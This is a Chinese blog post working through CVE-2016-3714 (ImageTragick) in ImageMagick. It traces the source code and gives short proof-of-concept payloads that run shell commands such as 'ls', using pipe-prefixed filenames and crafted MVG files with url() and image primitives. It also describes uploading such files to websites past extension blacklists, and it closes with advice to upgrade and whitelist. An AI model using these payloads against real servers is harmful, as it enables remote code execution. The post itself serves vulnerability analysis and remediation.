CVE-2016-3714-ImageTragick

Author Avatar
Tr0y 4月 29, 2018 20:18:39 本文共 2.1k 字
  • 文为知己者书
  • 在其它设备中阅读本文章

漏洞应急响应的第一个练习
ImageMagick 作为一个著名的图像处理库,被爆出了严重的安全漏洞,该漏洞被称之为“ImageTragick”,CVE 编号是 CVE-2016-3714

ImageMagick 简介

ImageMagick 是除了 GD 之外使用最多的图像处理库,被广泛用于各种语言的图像处理,比如 PHP、Java、Python、Ruby 等等。许多开源软件,比如 WordPress、Drupal、Discuz 等都使用了它的图像处理功能。

响应过程

原理分析

拿到 CVE 号了之后,先看了一下它的介绍,然后就开始安装 ImageMagick,其实 ubuntu 已经自带了,只不过版本不符合。没意识到这个问题,直接装了旧版本,然后鬼使神差地又去装 php 对 ImageMagick 的支持——Imagick,其实根本没有必要。。安装 Imagick 花费了大量的时间(因为旧版新版共存,Imagic 识别总是新版,刚了很久)。后来意识到 CVE 的描述里压根没提 Imagick,遂醒悟。这里获得第一个教训:要明确影响的是什么。

卸载了新版之后,留下的是 6.9.2-10。然后想的是,既然要出 poc,肯定要会用这个东西,否则怎么刚源码、知道漏洞在哪?于是在官网找了一些例子试着运行了一下,大概了解了一下。

然后开始头铁,直接刚源码,连入口都不知道,瞎看了一会,由于之前刚 Imagick 心情烦躁,关了电脑冷静思考了一会:既然是 rce,那么如果不是溢出之类的问题的话,应该要有 popen 之类的函数。然后结合之前运行例子的时候发现若文件不存在的时候,会报错:

convert: unable to open image `1.png': 没有那个文件或目录 @ error/blob.c/OpenBlob/2703.

所以推测 blob.c 应该是入口,看了一下 blob.c(./magick 下),搜索 popen,发现重要函数 popen_utf8
image->blob->file_info.file=(FILE *) popen_utf8(filename+1,mode);

这个函数在哪呢?grep 一下看看:

p1

./utility-private.h 中定义了,且:
return(popen(command,type));

那么也就意味着,精心构造一个文件名让代码走到这里,就可以在这发生执行。

回到之前的 popen_utf8,参数是什么呢?filename+1mode,其中,filename 是要构造的,mode 随他去吧。往上看,filename 是指针,而且,要执行 popen_utf8 必须过 if (*filename == '|'),再往上一层就是 OpenBlob 的定义了。综上,filename 的第一个字符必须为 |,然后后面的代码就可以执行:convert "|ls > 1.txt" 1.png

到此,已经证实 ImageMagick v<6.9.3-9 的版本存在 RCE。但是睡了一觉后得有点问题,CVE 里特别提到了 (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT 这些东西,貌似和我发现的并没有关系。然后下载了一个 ImageMagick-6.9.5-10,用 diff 了一下./magick 的所有代码,多的吐血。。然后鸡汁地想到了先在 gayhub 传 6.9.2-10,再传 6.9.5-10 的./magick。之后再看差别。在此处发现了:

p2

于是更加确认 CVE 说的就是这里啦。但是 MVG 之类的究竟是什么玩意呢?搜了一下可以用它自定义的代码来画图:

MVG Overview

比如

push graphic-context
  viewbox 0 0 624 369
  affine 0.283636 0 0 0.283846 -0 -0
  push graphic-context
    push graphic-context
      fill 'darkslateblue'
      stroke 'blue'
      stroke-width 1
      rectangle 1,1 2199,1299
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 600,1100 'Average: 20.0'
    pop graphic-context
    push graphic-context
      fill 'red'
      stroke 'black'
      stroke-width 5
      path 'M700.0,600.0 L340.0,600.0 A360.0,360.0 0 0,1 408.1452123287954,389.2376150414973 z'
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 1400,140 'MagickWand for PHP'
    pop graphic-context
    push graphic-context
      font-size 30
      fill 'white'
      stroke-width 1
      text 1800,140 '(10.0%)'
    pop graphic-context
    push graphic-context
      fill 'red'
      stroke 'black'
      stroke-width 4
      rectangle 1330,100 1370,140
    pop graphic-context
    push graphic-context
      fill 'yellow'
      stroke 'black'
      stroke-width 5
      path 'M700.0,600.0 L408.1452123287954,389.2376150414973 A360.0,360.0 0 0,1 976.5894480359858,369.56936567559273 z'
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 1400,220 'MagickCore'
    pop graphic-context
    push graphic-context
      font-size 30
      fill 'white'
      stroke-width 1
      text 1800,220 '(29.0%)'
    pop graphic-context
    push graphic-context
      fill 'yellow'
      stroke 'black'
      stroke-width 4
      rectangle 1330,180 1370,220
    pop graphic-context
    push graphic-context
      fill 'fuchsia'
      stroke 'black'
      stroke-width 5
      path 'M700.0,600.0 L976.5894480359858,369.56936567559273 A360.0,360.0 0 0,1 964.2680466142854,844.4634932636567 z'
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 1400,300 'MagickWand'
    pop graphic-context
    push graphic-context
      font-size 30
      fill 'white'
      stroke-width 1
      text 1800,300 '(22.9%)'
    pop graphic-context
    push graphic-context
      fill 'fuchsia'
      stroke 'black'
      stroke-width 4
      rectangle 1330,260 1370,300
    pop graphic-context
    push graphic-context
      fill 'blue'
      stroke 'black'
      stroke-width 5
      path 'M700.0,600.0 L964.2680466142854,844.4634932636567 A360.0,360.0 0 0,1 757.853099990584,955.3210081341651 z'
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 1400,380 'JMagick'
    pop graphic-context
    push graphic-context
      font-size 30
      fill 'white'
      stroke-width 1
      text 1800,380 '(10.6%)'
    pop graphic-context
    push graphic-context
      fill 'blue'
      stroke 'black'
      stroke-width 4
      rectangle 1330,340 1370,380
    pop graphic-context
    push graphic-context
      fill 'lime'
      stroke 'black'
      stroke-width 5
      path 'M700.0,600.0 L757.853099990584,955.3210081341651 A360.0,360.0 0 0,1 340.0,600.0 z'
    pop graphic-context
    push graphic-context
      font-size 40
      fill 'white'
      stroke-width 1
      text 1400,460 'Magick++'
    pop graphic-context
    push graphic-context
      font-size 30
      fill 'white'
      stroke-width 1
      text 1800,460 '(27.5%)'
    pop graphic-context
    push graphic-context
      fill 'lime'
      stroke 'black'
      stroke-width 4
      rectangle 1330,420 1370,460
    pop graphic-context
    push graphic-context
      font-size 100
      fill 'white'
      stroke-width 1
      text 100,150 'ImageMagick'
    pop graphic-context
    push graphic-context
      fill 'none'
      stroke 'black'
      stroke-width 5
      circle 700,600 700,960
    pop graphic-context
  pop graphic-context
pop graphic-context

然后 convert mvg:piechart.mvg piechart.png

可以画一个这样的图:

example

差不多搞定了, 高高兴兴地去看别人写的分析, 结果发现 CVE 指的漏洞居然不是这个地方, poc 如下:
(一个文件内填充以下字符命名为 .mvg 格式)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"ls "-la)'
pop graphic-context

p3

醉了, 这明显是闭合引号导致的注入.
贴 2 篇文章, 讲的都很好:

freebuf

青藤

那么问题来了, 我发现的漏洞不会是新的 cve 吧? 那岂不是美滋滋.

ImageMagick 另一个命令执行

…告辞

利用场景

网站使用受影响版本的 imagemagick, 且恶意文件能够成功上传至后台, 被 imagemagick 解析.
恶意文件后缀特别灵活, 不仅限于图片类型, 所以过黑名单毫无压力.
所以利用场景是很多的, 是一个好洞

POC & EXP

CVE-2016-3714 和 我发现的 imagemagick 另一处漏洞利用起来很相似, 放在一起说吧

根据这个文档的说明,我们可以把 payload 藏在 mvg 里:

push graphic-context
  viewbox 0 0 624 369
  image src 0 0 100 100 '|ls > 1.txt'
 pop graphic-context

用到了 image 这个原语(Primitive),组件(compose)为 src

然后 convert mvg:1.mvg r.png 即可执行

那么问题来了,网站一定会用 mvg 这个组件吗?其实无所谓,imagemagick 的 convert 在遇到 mvg 语法的时候会把传入的任意文件当作 mvg 代码执行(摊手):

convert mvg:1.balabala r.png

甚至:

convert 1.balabala r.png

都可以执行代码。这样,可利用场景就丰富了很多很多。

其他原语也可以:

push graphic-context
  viewbox 0 0 624 369
  fill url(#|ls > 1.txt)
 pop graphic-context

在网上还看到一种利用 ImageMagick 漏洞绕过 disable_function 的姿势, 记录在此

修复方案

升级最新版本的 ImageMagick, 同时做好文件名的过滤, 上白名单.

后记

这个漏洞的利用方式真是无比简单…做开发真难啊

同时它也给了我们提示, 使用危险函数时候一定要谨慎再谨慎, 同时, 也不要过于相信第三方的插件有多安全, 该限制的地方一定要限制死.

什么复现漏洞能发现另一个隐藏的 cve, 那就赚大发咯

End

What do you think?

本文标题: CVE-2016-3714-ImageTragick
原始链接: http://www.tr0y.wang/2018/04/29/CVE-2016-3714/
发布时间: 2018.04.29-20:18
最后更新: 2018.11.03-20:31
版权声明: 本站文章均采用CC BY-NC-SA 4.0协议进行许可。转载请注明出处!